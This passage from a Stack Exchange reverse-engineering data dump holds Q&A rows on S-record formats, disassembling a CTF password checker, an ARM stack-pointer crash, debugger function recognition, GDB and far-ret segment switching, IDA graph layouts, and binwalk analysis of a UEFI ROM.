  <row Id="16928" PostTypeId="2" ParentId="2056" CreationDate="2017-12-07T15:44:19.493" Score="6" Body="&lt;p&gt;Usually you only get addresses and raw bytes, but some tools/compilers may use custom record types or add extra information. For example, Tasking VX toolchain for Tricore uses an S0 record for identification:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;S0-record&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'S' '0' &amp;lt;length_byte&amp;gt; &amp;lt;2 bytes 0&amp;gt; &amp;lt;comment&amp;gt; &amp;lt;checksum_byte&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;A linker generated S-record file starts with a S0 record with the&#xA;  following contents:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;length_byte : 0x6&lt;br&gt;&#xA;  comment : ltc (TriCore linker)&lt;br&gt;&#xA;  checksum : 0xB6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        l t c&#xA;S00600006C7463B6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The S0 record is a comment record and does not contain relevant&#xA;  information for program execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-12-07T15:44:19.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16929" PostTypeId="2" ParentId="16927" CreationDate="2017-12-07T16:54:02.707" Score="1" Body="&lt;p&gt;Brute forcing is often not the way to go unless you know something about your input that would limit the space of what it needs to check considerably. I think you're best bet here it to understand what is going on in the machine code especially given how straightforward the disassembly looks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's break it down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movzx   edi, byte ptr [rbx+rdx]&#xA;mov     rsi, [r8+rdx*8]&#xA;call    check_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we can see the program is moving two values into the &lt;code&gt;rsi&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt; registers. They are both indexed with &lt;code&gt;rdx&lt;/code&gt; so rdx is probably an index counter. &lt;code&gt;edi&lt;/code&gt; is loaded with a byte so it's probably part of the password/value that is being checked. Therefore, &lt;code&gt;rbx&lt;/code&gt; is a pointer to the password/value itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;inc     rdx&#xA;and     ecx, eax&#xA;cmp     rdx, 3Bh&#xA;jnz     (5 instructions above)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Increments the index counter, looks at the return value (&lt;code&gt;eax&lt;/code&gt;) from check_value and clears register &lt;code&gt;ecx&lt;/code&gt; if the return value is zero. Finally, it compares the counter to 0x3b (59 decimal) and repeats everything above it not equal to it. From this, we can gather that our secret password/value is 59 bytes and that check_value must likely return 1 (true) for every byte if the value is correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test    cl, cl&#xA;lea     rdi, aYouDidnTGetItM&#xA;jz      short loc_5623E&#xA;lea     rdi, aYouGotItCorrec&#xA;call    _puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we can see we are getting either one of two messages put depending on the value of &lt;code&gt;cl&lt;/code&gt;. If &lt;code&gt;ecx&lt;/code&gt; is zero from the loop above, &lt;code&gt;cl&lt;/code&gt; will be zero and the &lt;code&gt;jz&lt;/code&gt; jump will be taken leaving us with the message &quot;You didn't get it, much sadness :(&quot; but if &lt;code&gt;ecx&lt;/code&gt; is non-zero, we get &quot;You got it! correct! awesome!&quot; which is then displayed on the console with the &lt;code&gt;puts&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, from just breaking this down a bit we can see exactly what this function is doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrapolating a bit from missing disassembly in your listing above (what sets &lt;code&gt;ecx&lt;/code&gt; before your listing starts and what prints out the didn't-get-it-message after your listing ends), the C code for this might looks something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool passwordOkay = True;&#xA;for (index = 0; index != 59; ++index) {&#xA;    byte = password[index]&#xA;    secondVal = table[index]&#xA;    passwordOkay &amp;amp;= check_value(byte, secondVal);&#xA;}&#xA;if (passwordOkay)&#xA;    printf(&quot;You got it! correct! awesome!&quot;);&#xA;else&#xA;    printf(&quot;You didn't get it, much sadness :(&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should apply the same technique within the &lt;code&gt;check_value&lt;/code&gt; function to reverse exactly hot to defeat this checker.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-12-07T16:54:02.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16930" PostTypeId="2" ParentId="16927" CreationDate="2017-12-07T16:57:33.657" Score="2" Body="&lt;p&gt;By the context I think this is the rabbithole problem from CSAW ctf finals. The correct solution was not to bruteforce although you'd be tempted to as it was trivial to brute-force. The &lt;code&gt;check_value&lt;/code&gt; function was called for each char in the input which was supposed to be 0x3b chars long.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(i=0; i&amp;lt;59; ++i){&#xA;    flag &amp;amp;= check_value(input[i], roots[i])&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where roots is an array for roots to binary trees which were traversed in &lt;code&gt;check_value&lt;/code&gt;. I solved it onsite and if you want to look at how I did it check &lt;a href=&quot;https://payatu.com/csaw-ctf-finals-2017-writeups/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-12-07T16:57:33.657" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16931" PostTypeId="1" CreationDate="2017-12-07T17:04:25.693" Score="2" ViewCount="193" Body="&lt;p&gt;-- Edit with latest update on the problem, it is not solved yet :( --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While playing with an ARM embedded Linux system (Version 3.8.13), out of curiosity, I created a small &quot;debug&quot; kernel module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &quot;debug&quot; module branches a specific flow in another kernel module to a function in this &quot;debug&quot; module, which executes some logic and then resumes execution peacefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid clutter of the stack area, the first executed logic is changing SP to point at an empty area inside the &quot;debug&quot; module &lt;strong&gt;&lt;em&gt;code&lt;/em&gt;&lt;/strong&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system crashes couple of seconds after executing &lt;code&gt;mov sp, r2&lt;/code&gt;, and entering an infinite loop. (&lt;code&gt;r2&lt;/code&gt; holds the address to the empty area).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the crash happens before the &quot;debug&quot; module executes any stack-related opcode (or actually any other opcode, for that matter).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;So I conducted the following checks:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Made sure the address is 4-byte aligned&lt;/li&gt;&#xA;&lt;li&gt;Changed area to write-able, and big enough to hold a full context switch that is saved on the stack (about 0x300 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Changing &lt;code&gt;sp&lt;/code&gt; value by small amounts (+-0x100) - did not crash the system&lt;/li&gt;&#xA;&lt;li&gt;Changing &lt;code&gt;sp&lt;/code&gt; to some arbitrary value - crashed the system.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Changing &lt;code&gt;sp&lt;/code&gt; momentarily and then immediately restoring its value does not crash the system&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Changing &lt;code&gt;sp&lt;/code&gt; momentarily, executing an STMFD operation and then immediately restoring &lt;code&gt;sp&lt;/code&gt;'s value does not crash the system!&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;From the last test, it's pretty clear that when a context-switch happens, some values are being saved on the stack. If it points to that free area, the system crashes&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that there isn't any problem with using stack operations on the free area, but yet when some context-switch happens, the system crashes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Feasible ideas&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a constraint on possible values of the &lt;code&gt;sp&lt;/code&gt; register? (Kernel configuration, perhaps? Specific bits of the address?)&lt;/li&gt;&#xA;&lt;li&gt;The code section has some sort of protection against being used as a stack &lt;strong&gt;when used outside of the current module&lt;/strong&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Context-switch requires more than 0x300 bytes of space?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="22274" LastEditorUserId="22274" LastEditDate="2017-12-12T08:29:53.957" LastActivityDate="2017-12-12T08:29:53.957" Title="ARM system crashes after changing stack address" Tags="|debugging|linux|arm|stack|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16932" PostTypeId="2" ParentId="16931" CreationDate="2017-12-07T20:33:14.607" Score="1" Body="&lt;p&gt;If you are setting the stack pointer to a point in the code section, most likely that page does not have write access permission enabled so when the processor starts to write on the stack you immediately generate a permission data abort fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set the stack pointer to a valid page in memory which has read/write permissions set instead of read-only. Take a look at the memory access control section under the virtual memory system architecture chapter for the ARM architecture reference manual.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-12-07T20:33:14.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16933" PostTypeId="1" AcceptedAnswerId="16934" CreationDate="2017-12-07T21:18:55.050" Score="3" ViewCount="458" Body="&lt;p&gt;may anyone explain to me why most of the debuggers don't auto recognize functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a feature I only found in IDA and ollydbg, any other debugger I tried just don't analyze the functions as IDA and olly do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that this could be a performance issue to justify don't set this feature as the default behaviour, but why debuggers like x64dbg seems to just don't have the feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2017-12-07T22:05:44.003" Title="Why most debuggers don't auto recognize functions?" Tags="|debuggers|functions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16934" PostTypeId="2" ParentId="16933" CreationDate="2017-12-07T22:01:22.583" Score="4" Body="&lt;p&gt;As assembly instruction sets are reasonably complex, properly figuring out a function boundaries inside a big executable binaries is a somewhat difficult task. Even IDA, which specializes in that, has quite a few mistakes and misses in certain scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes back to disassembly strategies, which are basically the algorithm used to provide disassembly listings for given stream of binary. They're often divided to two categories:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Linear Sweep&lt;/em&gt; is to simply disassembly one instruction after the other. The straight-forward way to disassemble a sequence of instructions - start the next instruction disassemble right where the last instruction ended.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Recursive Disassembly&lt;/em&gt; attempts to consider the code flow while disassembling, and will likely hold a stack of &quot;function entries&quot; (every call, for example, will get it's target address in that queue). The queue keeps being emptied by the disassembly engine until all encountered functions are analyzed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They both have their pros and cons although Linear sweep is considered simpler to implement and recursive disassembly to yield better results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most debuggers don't focus too much on the disassembly task because usually, instruction pointer registers will point to the correct function to disassemble and the need to disassemble big binary blobs and recognise functions is rare. Additionally, as mostly static analysis tool IDA puts a lot more focus into exposure of the &quot;whole picture&quot;, where debuggers tend to shine a light on only a small piece of the executable at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x64dbg is another debugger (considered an ollydbg replacement by some) with decent function discovery.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-12-07T22:05:44.003" LastActivityDate="2017-12-07T22:05:44.003" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16935" PostTypeId="1" CreationDate="2017-12-07T22:55:57.637" Score="2" ViewCount="656" Body="&lt;p&gt;It appears that GDB is unable to handle binaries which switch code segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;pwntools&lt;/code&gt;*, it's trivial to generate a 32-bit intel binary which uses &lt;code&gt;retf&lt;/code&gt; to switch to the 64-bit code segment.  Linux supports this, and everything &quot;works fine&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print shellcraft.to_64bit()&#xA;    push 0x33&#xA;    jmp 2f&#xA;1:&#xA;    retf&#xA;2:&#xA;    call 1b&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; print shellcraft.amd64.mov('rax', 0xdeadbeefcafebabe)&#xA;mov rax, 0xdeadbeefcafebabe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can assemble these to binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; asm(shellcraft.to_64bit())&#xA;'j3\xeb\x01\xcb\xe8\xfa\xff\xff\xff'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; asm(shellcraft.amd64.mov('rax', 0xdeadbeefcafebabe), arch='amd64')&#xA;'H\xb8\xbe\xba\xfe\xca\xef\xbe\xad\xde'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And stick it all into an ELF:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ELF.from_bytes('j3\xeb\x01\xcb\xe8\xfa\xff\xff\xff' + 'H\xb8\xbe\xba\xfe\xca\xef\xbe\xad\xde')&#xA;[*] '/var/folders/4h/rrwj8fpj1cqcfb83syr_f930008rd2/T/pwn-asm-NbnRYW/step3-elf'&#xA;    Arch:     i386-32-little&#xA;    RELRO:    No RELRO&#xA;    Stack:    No canary found&#xA;    NX:       NX disabled&#xA;    PIE:      No PIE (0x8049000)&#xA;    RWX:      Has RWX segments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For StackExchange users looking to reproduce this without installing &lt;code&gt;pwntools&lt;/code&gt;, the full binary data is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7f454c4601010100000000000000000002000300010000007490040834000000a000000000000000340020000200280003000200010000000000000000900408009004088900000089000000070000000010000051e57464000000000000000000000000000000000000000007000000100000006a33eb01cbe8faffffff48b8bebafecaefbeadde00002e7368737472746162002e7368656c6c636f64650000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00000001000000070000007490040874000000150000000000000000000000010000000000000001000000030000000000000000000000890000001600000000000000000000000100000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when we run this under GDB, we end up with the register state we expect, but there's no way to see the extended registers, or convince it to switch architectures -- or display the correct disassembly!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q --nx --nh &quot;/home/user/step3-elf&quot;&#xA;Reading symbols from /home/user/step3-elf...(no debugging symbols found)...done.&#xA;(gdb) x/5i 0x8049074&#xA;   0x8049074:   push   $0x33&#xA;   0x8049076:   jmp    0x8049079&#xA;   0x8049078:   lret&#xA;   0x8049079:   call   0x8049078&#xA;   0x804907e:   dec    %eax&#xA;(gdb) b *0x8049074&#xA;Breakpoint 1 at 0x8049074&#xA;(gdb) r&#xA;Starting program: /home/user/step3-elf&#xA;&#xA;Breakpoint 1, 0x08049074 in ?? ()&#xA;(gdb) si&#xA;0x08049076 in ?? ()&#xA;(gdb)&#xA;0x08049079 in ?? ()&#xA;(gdb)&#xA;0x08049078 in ?? ()&#xA;(gdb)&#xA;0x0804907e in ?? ()&#xA;(gdb) x/i $pc&#xA;=&amp;gt; 0x804907e:   dec    %eax&#xA;(gdb) i r eax&#xA;eax            0x0  0&#xA;(gdb) ni&#xA;0x08049088 in ?? ()&#xA;(gdb) i r eax&#xA;eax            0xcafebabe   -889275714&#xA;(gdb) set arch i386:x86-64&#xA;warning: Selected architecture i386:x86-64 is not compatible with reported target architecture i386&#xA;Architecture `i386:x86-64' not recognized.&#xA;The target architecture is set automatically (currently i386)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I convince GDB to show the correct, 64-bit disassembly, when it refuses to switch architectures?  Even &lt;code&gt;info reg all&lt;/code&gt; does not display all of the registers (e.g. RAX) correctly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*&lt;em&gt;to_64bit() is not in a released version of pwntools&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="264" LastActivityDate="2017-12-09T18:34:57.033" Title="Debugging Binary using Far Ret to switch Code Segment" Tags="|gdb|elf|binary|shellcode|amd64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16938" PostTypeId="1" CreationDate="2017-12-08T12:23:03.830" Score="2" ViewCount="1752" Body="&lt;p&gt;I'm reversing a binary dump of an older embedded target using IDA Pro 7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have somehow managed to introduce a &quot;pseudo graph node&quot; that I for the love of god cannot make go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembly looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cx1t4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cx1t4.png&quot; alt=&quot;Note addresses EA75-EA78&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph layout looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/V3ahp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3ahp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Limit A to ZERO&quot; node is a relic from a previous collapsed group of nodes that were probably collapsed when I undefined the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot uncollapse it - nor does it disappear if I group it with other nodes and do a collapse/uncollapse/ungroup sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a &quot;Layout graph&quot; command has no effect and it survives when the function is undefined/recreated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to completely reset the graph layout for the function?&lt;/p&gt;&#xA;" OwnerUserId="22555" LastActivityDate="2020-09-05T20:46:38.673" Title="Is it possible to completely reset a cached graph layout for a function in IDA Pro?" Tags="|ida|disassembly|control-flow-graph|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16939" PostTypeId="1" AcceptedAnswerId="16946" CreationDate="2017-12-08T14:07:54.920" Score="1" ViewCount="2426" Body="&lt;p&gt;I want to analyse this UEFI bios &lt;a href=&quot;https://file.town/download/nirrs944q4ybipq0b1p8f23z2&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. When I open it in IDA it looks compressed to me. Also IDA lists the processor type as ZLOG. Shouldn't this be the multi processor setting for IDA? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, If I am not mistaken it's compressed and divided into some odd sections. How can I decompress this and look at this in more detail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't compressed how can I go about doing some static analysis on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2017-12-09T14:23:38.353" Title="Decompress and Analyse VMWARE EFI64 bios" Tags="|static-analysis|decompress|bios|vmware|uefi|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16940" PostTypeId="2" ParentId="16939" CreationDate="2017-12-08T15:54:48.953" Score="1" Body="&lt;p&gt;It's not compressed, it's just has some format IDA doesn't recognize, so it makes a wrong assumption that it's code for zilog processor. You should select Meta PC processor instead, and then specify that you want to process it as 32-bit code. It'll allow you to see some pieces of the code. But you'll have to learn the format of this EFI64.ROM file in order to load it properly to IDA. Otherwise the code will loaded to the wrong addresses and will not address the proper data (i.e. string, function addresses and constants).&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-08T15:54:48.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16942" PostTypeId="2" ParentId="16939" CreationDate="2017-12-09T03:19:51.280" Score="3" Body="&lt;p&gt;Probably the fastest and easiest way to get started with analyzing binaries such this is to begin with using &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt; to scan the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the signature scan output for your file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk EFI64.ROM &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             UEFI PI Firmware Volume, volume size: 2097152, header size: 0, revision: 0, EFI Firmware File System v2, GUID: 8C8CE578-8A3D-4F1C-3599-896185C32DD3&#xA;332           0x14C           Microsoft executable, portable (PE)&#xA;36864         0x9000          Microsoft executable, portable (PE)&#xA;90112         0x16000         Microsoft executable, portable (PE)&#xA;122880        0x1E000         Microsoft executable, portable (PE)&#xA;155648        0x26000         Microsoft executable, portable (PE)&#xA;221184        0x36000         Microsoft executable, portable (PE)&#xA;249924        0x3D044         Microsoft executable, portable (PE)&#xA;401408        0x62000         Microsoft executable, portable (PE)&#xA;434176        0x6A000         Microsoft executable, portable (PE)&#xA;462936        0x71058         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 4636688 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;According to &lt;code&gt;binwalk&lt;/code&gt;, this is a &lt;a href=&quot;http://www.uefi.org/sites/default/files/resources/PI_Spec_1_6.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;UEFI Platform Inititalization volume&lt;/a&gt; containing several PE files and a large LZMA-compressed block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a large region of high entropy within the binary, indicating that compression or encryption is present, so it seems likely that the LZMA signature &lt;code&gt;binwalk&lt;/code&gt; detected is a true positive. Visualization can help us see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via &lt;code&gt;binwalk&lt;/code&gt; plus the &lt;code&gt;-E&lt;/code&gt; flag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dtSg2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtSg2.png&quot; alt=&quot;binwalk entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt; (pink is high entropy, black is low entropy):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eTs9J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTs9J.png&quot; alt=&quot;binvis entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can also try to extract the PE files and LZMA compressed block using the &lt;code&gt;-e&lt;/code&gt; flag with &lt;code&gt;binwalk&lt;/code&gt;. The extracted file is similar to the original but appears to contain many more PE files, plus strings and data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_EFI64.ROM.extracted $ binwalk 71058&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;16            0x10            UEFI PI Firmware Volume, volume size: 4636672, header size: 0, revision: 0, EFI Firmware File System v2, GUID: 8C8CE578-8A3D-4F1C-3599-896185C32DD3&#xA;220           0xDC            Microsoft executable, portable (PE)&#xA;29152         0x71E0          Microsoft executable, portable (PE)&#xA;57916         0xE23C          Microsoft executable, portable (PE)&#xA;78508         0x132AC         Microsoft executable, portable (PE)&#xA;123668        0x1E314         Microsoft executable, portable (PE)&#xA;140148        0x22374         Microsoft executable, portable (PE)&#xA;173004        0x2A3CC         Microsoft executable, portable (PE)&#xA;193580        0x2F42C         Microsoft executable, portable (PE)&#xA;214156        0x3448C         Microsoft executable, portable (PE)&#xA;247771        0x3C7DB         mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;251403        0x3D60B         mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;288024        0x46518         Microsoft executable, portable (PE)&#xA;308624        0x4B590         Microsoft executable, portable (PE)&#xA;333292        0x515EC         Microsoft executable, portable (PE)&#xA;419420        0x6665C         Microsoft executable, portable (PE)&#xA;440012        0x6B6CC         Microsoft executable, portable (PE)&#xA;456516        0x6F744         Microsoft executable, portable (PE)&#xA;477128        0x747C8         Microsoft executable, portable (PE)&#xA;497708        0x7982C         Microsoft executable, portable (PE)&#xA;518328        0x7E8B8         Microsoft executable, portable (PE)&#xA;534844        0x8293C         Microsoft executable, portable (PE)&#xA;551556        0x86A84         Microsoft executable, portable (PE)&#xA;576212        0x8CAD4         Microsoft executable, portable (PE)&#xA;617252        0x96B24         Microsoft executable, portable (PE)&#xA;650108        0x9EB7C         Microsoft executable, portable (PE)&#xA;687140        0xA7C24         Microsoft executable, portable (PE)&#xA;805379        0xC4A03         mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;834684        0xCBC7C         Microsoft executable, portable (PE)&#xA;888036        0xD8CE4         Microsoft executable, portable (PE)&#xA;912684        0xDED2C         Microsoft executable, portable (PE)&#xA;937332        0xE4D74         Microsoft executable, portable (PE)&#xA;970180        0xECDC4         Microsoft executable, portable (PE)&#xA;990732        0xF1E0C         Microsoft executable, portable (PE)&#xA;1019468       0xF8E4C         Microsoft executable, portable (PE)&#xA;1052308       0x100E94        Microsoft executable, portable (PE)&#xA;1101532       0x10CEDC        Microsoft executable, portable (PE)&#xA;1122116       0x111F44        Microsoft executable, portable (PE)&#xA;1224664       0x12AFD8        Microsoft executable, portable (PE)&#xA;1310756       0x140024        Microsoft executable, portable (PE)&#xA;1351772       0x14A05C        Microsoft executable, portable (PE)&#xA;1372316       0x14F09C        Microsoft executable, portable (PE)&#xA;1401060       0x1560E4        Microsoft executable, portable (PE)&#xA;1430052       0x15D224        Microsoft executable, portable (PE)&#xA;1458804       0x164274        Microsoft executable, portable (PE)&#xA;1487788       0x16B3AC        Microsoft executable, portable (PE)&#xA;1516564       0x172414        Microsoft executable, portable (PE)&#xA;1533148       0x1764DC        Microsoft executable, portable (PE)&#xA;1553740       0x17B54C        Microsoft executable, portable (PE)&#xA;1650772       0x193054        Microsoft executable, portable (PE)&#xA;1683620       0x19B0A4        Microsoft executable, portable (PE)&#xA;1720548       0x1A40E4        Microsoft executable, portable (PE)&#xA;1757476       0x1AD124        Microsoft executable, portable (PE)&#xA;1790308       0x1B5164        Microsoft executable, portable (PE)&#xA;1827244       0x1BE1AC        Microsoft executable, portable (PE)&#xA;1860084       0x1C61F4        Microsoft executable, portable (PE)&#xA;1892964       0x1CE264        Microsoft executable, portable (PE)&#xA;1913756       0x1D339C        Microsoft executable, portable (PE)&#xA;1946836       0x1DB4D4        Microsoft executable, portable (PE)&#xA;1991980       0x1E652C        Microsoft executable, portable (PE)&#xA;2037140       0x1F1594        Microsoft executable, portable (PE)&#xA;2057716       0x1F65F4        Microsoft executable, portable (PE)&#xA;2094676       0x1FF654        Microsoft executable, portable (PE)&#xA;2127516       0x20769C        Microsoft executable, portable (PE)&#xA;2184932       0x2156E4        Microsoft executable, portable (PE)&#xA;2246444       0x22472C        Microsoft executable, portable (PE)&#xA;2283396       0x22D784        Microsoft executable, portable (PE)&#xA;2303940       0x2327C4        Microsoft executable, portable (PE)&#xA;2349060       0x23D804        Microsoft executable, portable (PE)&#xA;2426948       0x250844        Microsoft executable, portable (PE)&#xA;2488452       0x25F884        Microsoft executable, portable (PE)&#xA;2517188       0x2668C4        Microsoft executable, portable (PE)&#xA;2562308       0x271904        Microsoft executable, portable (PE)&#xA;2607436       0x27C94C        Microsoft executable, portable (PE)&#xA;2652564       0x287994        Microsoft executable, portable (PE)&#xA;2734564       0x29B9E4        Microsoft executable, portable (PE)&#xA;2826055       0x2B1F47        Neighborly text, &quot;Neighbor Solicitation messages sent while performing Duplicate Address Detection on a tentative address. A value of zero indicatAddress Detection on a tentative address. A value of 